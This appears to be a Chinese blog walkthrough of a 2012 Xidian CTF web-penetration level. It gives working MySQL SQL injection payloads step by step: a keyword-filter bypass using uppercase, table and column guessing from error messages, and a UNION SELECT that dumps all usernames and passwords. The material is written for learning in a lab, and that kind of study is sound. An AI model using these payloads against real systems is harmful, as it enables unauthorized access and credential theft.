2012西电网络攻防大赛(XDCSC2012)网络渗透0x009通关方案

比赛地址:https://csc.xdsec.org。感兴趣的朋友可以看下。。。

边学边试弄了一个晚上,终于过了这关。以前没有学过PHP+MYSQL的注入,ASP也只会用啊D一类工具,今天算是手工注入了一次。

界面只有一个文本输入框。推测应该是字符型的注入点。

先提交一个单引号试试,没有任何回显,也没有报错,推测把单引号当做一个字符执行了。。。

提交1',奇迹出现了。。。


推测SQL应该是这样写的

select firstname,surname from XXX where id='xxx'

但是为毛会出现这个。。。我也搞不懂。。。求大神指教。。。

不管他,继续提交

admin' and exists (select * from admin) and '1'='1
完整的SQL语句应该是

select firstname,surname from XXX where id='admin' and exists (select * from admin) and '1'='1'

看起来一点问题没有。。。但是,出错了。。。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*   admin) and '1'='1'' at line 1
开始想了半天没想明白为什么出错了。。。后来仔细看了下错误信息
near '*   admin) and '1'='1''
突然发现*和admin中间的from不见了。。。。被过滤了!!

于是改成大写试试。

admin' AND EXISTS (SELECT * FROM admin) and '1'='1
再次提交。这次没有被过滤,返回信息

Table 'goal.admin' doesn't exist
百度之,发现是不存在表admin。

然后又试了几个常见表名,试到users的时候不返回错误了。

然后猜字段。提交

admin' AND EXISTS (SELECT admin FROM users) and '1'='1
返回

Unknown column 'admin' in 'field list'
再次百度之,字段admin不存在。

继续试字段。最后字段user,password存在。

然后提交

admin' AND 1=2 UNION SELECT password FROM users WHERE user='admin' and '1'='1
这儿我想直接拿到password的值,结果返回

The used SELECT statements have a different number of columns
百度之,发现要猜字段数量。关于这个,这儿有详细的说明:http://www.myhack58.com/Article/html/3/7/2011/29898.htm

于是提交

admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE user='admin' and '1'='1
显示了这个



这时候把1替换为password,提交

admin' AND 1=2 UNION SELECT password,2 FROM users WHERE user='admin' and '1'='1
返回的结果


这样就拿到了password字段的值了。。。



其实刚才猜出列名之后就应该先猜字段数量的。我觉得正确的步骤应该是

提交

admin' AND 1=2 UNION SELECT 1 FROM users WHERE '1'='1
返回

The used SELECT statements have a different number of columns
说明字段数量不对,于是继续猜,提交

admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE '1'='1
这时候出现了


说明字段数量对了

然后将1,2替换为user,password,提交

admin' AND 1=2 UNION SELECT user,password FROM users WHERE '1'='1
出现了这个


所有的user,password值都显示出来了。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值